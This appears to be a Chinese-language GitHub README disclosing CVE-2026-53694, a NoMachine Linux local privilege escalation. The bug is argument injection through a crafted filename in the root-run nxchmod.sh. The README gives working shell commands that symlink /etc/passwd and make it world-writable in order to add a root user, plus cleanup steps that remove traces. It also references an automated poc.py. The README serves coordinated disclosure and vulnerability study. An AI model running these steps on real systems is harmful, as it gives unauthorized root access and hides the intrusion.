do4choo/CVE-2026-53694-NoMachine-LPE
GitHub: do4choo/CVE-2026-53694-NoMachine-LPE
该项目提供了 NoMachine Linux 版参数注入本地权限提升漏洞(CVE-2026-53694)的完整技术分析与概念验证,展示如何通过文件名注入绕过粘滞位保护实现 root 提权。
Stars: 0 | Forks: 0
# CVE-2026-53694:通过参数注入实现 NoMachine 本地权限提升




## 概述
本仓库包含 CVE-2026-53694 的分析报告和概念验证(PoC),这是 Linux 版 NoMachine 中的一个本地权限提升(LPE)漏洞。
由于 `nxchmod.sh` 脚本对参数分隔符处理不当,本地无特权用户可以将参数注入到以 `root` 身份执行的系统命令中。通过将此参数注入与符号链接相结合,攻击者可以覆盖关键系统文件(例如 `/etc/passwd`),并将其权限提升至 root。
该漏洞目前已被供应商完全修复。
## 发现过程
发现这个漏洞是一个不断试错并在深夜获得顿悟的过程。以下是发现该漏洞的经过:
1. **观察目标:** 我注意到 `/usr/NX/scripts/restricted/nxchmod.sh` 脚本会定期由 root 用户执行,以管理特定目录的权限。
2. **初步想法(死胡同):** 我看到脚本正在对文件应用 `chmod a+rw`。我想:*如果我能控制目标位置,我能否使用符号链接让 `/etc/passwd` 变得可写?* 我测试了标准的符号链接(`ln -s /etc/passwd /tmp/asdf`),但失败了。像 `/tmp` 这类目录上的 Linux 粘滞位会阻止 root 用户盲目跟随由其他用户创建的符号链接。
3. **突破:** 后来在审查脚本执行时,我注意到命令是如何构建的:`${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}`。脚本直接获取字面量文件名并将其传递给 `chmod`。
4. **通过文件名进行命令注入:** 我意识到我可以创建一个名称中包含空格和标志的文件。我创建了一个名为 `X1234 -R -L` 的文件。当脚本运行时,`chmod` 命令将其展开为多个参数,而不是作为单个文件路径处理。
5. **绕过粘滞位:** 通过文件名将 `-L`(跟随符号链接)和 `-R`(递归)标志注入到 `chmod` 命令中,我强制 `chmod` 二进制程序自行解析并跟随我在目录中创建的符号链接,从而完全绕过了粘滞位保护。
6. **实现 LPE:** 一旦 `/etc/passwd` 变得可写(`a+rw`),我只需向该文件追加一个新的 root 用户并使用 `su` 登录即可。
## 技术分析
该漏洞源于 NoMachine 处理 X11/Wayland 套接字权限的方式。`nxchmod.sh` 脚本由以 root 身份运行的 `nxserver.bin` 守护进程派生。
存在漏洞的执行过程如下所示:
```
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
```
如果攻击者创建了一个目录结构以及一个名为 `X1234 -R -L` 的文件,root 最终执行的命令将变为:
`/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L`
当指向 `/etc/passwd` 的符号链接被放置在 `X1234` 目录中时,注入的 `-R` 和 `-L` 参数会强制 `chmod` 递归跟随符号链接,并为目标文件授予全局读写权限。
## 利用条件
要使此漏洞利用生效,目标系统必须满足以下条件:
* 操作系统必须使用 Wayland(而非 X11)。
* Xwayland 必须处于活动状态。
* 必须有正在运行的图形会话(仅登录界面即可满足条件)。
## 概念验证
你可以使用 shell 命令手动重现此漏洞,也可以使用提供的 Python 脚本自动执行。
### 方法 1:手动执行(Shell)
导航到 `/tmp/.X11-unix/` 并执行以下命令来创建恶意的目录结构。
```
cd /tmp/.X11-unix/
# 1. Exploitation 设置
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# 等待 nxchmod.sh 执行(最多可能需要 60 秒)。
# 验证 /etc/passwd 的权限是否已更改为 -rw-rw-rw-
# 现在您可以编辑 /etc/passwd 以添加 root 用户。
```
一旦你验证了漏洞并提升了权限,请运行以下清理命令以恢复系统稳定性并移除相关痕迹:
```
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
```
### 方法 2:自动化漏洞利用
`poc.py` 中提供了完整的自动化漏洞利用脚本。该脚本会验证 Wayland 要求,设置符号链接,等待 `nxchmod.sh` 执行周期,并向 `/etc/passwd` 注入一个新的 root 用户(`gg`)
运行漏洞利用脚本:
```
python3 poc.py
```
## 修复建议
此漏洞已被 NoMachine 解决。用户应更新至以下版本或更高版本:
* NoMachine 9.5.7
* NoMachine 8.23.2
## 时间线
* **2026-04-20:** 向供应商报告漏洞。
* **2026-04-23:** 供应商确认漏洞并同意进行协调披露。
* **2026-05-07:** 供应商发布修复版本(9.5.7 和 8.23.2)并发布故障报告 TR04X11802。
* **2026-06-10:** CVE-2026-53694 发布至 NVD。(官方 MITRE 记录目前仍在等待全面分析和鸣谢更新(最后检查时间为 2026-07-01))
## 参考
* [NoMachine 故障报告 TR04X11802](https://kb.nomachine.com/TR04X11802)
* [NoMachine 软件更新 SU05X00274](https://kb.nomachine.com/SU05X00274)
* [NoMachine 软件更新 SU05X00275](https://kb.nomachine.com/SU05X00275)
* [NVD - CVE-2026-53694](https://nvd.nist.gov/vuln/detail/CVE-2026-53694)
标签:Cutter, PoC, Python, Web报告查看器, 应用安全, 无后门, 暴力破解, 本地提权, 漏洞分析, 路径探测, 逆向工具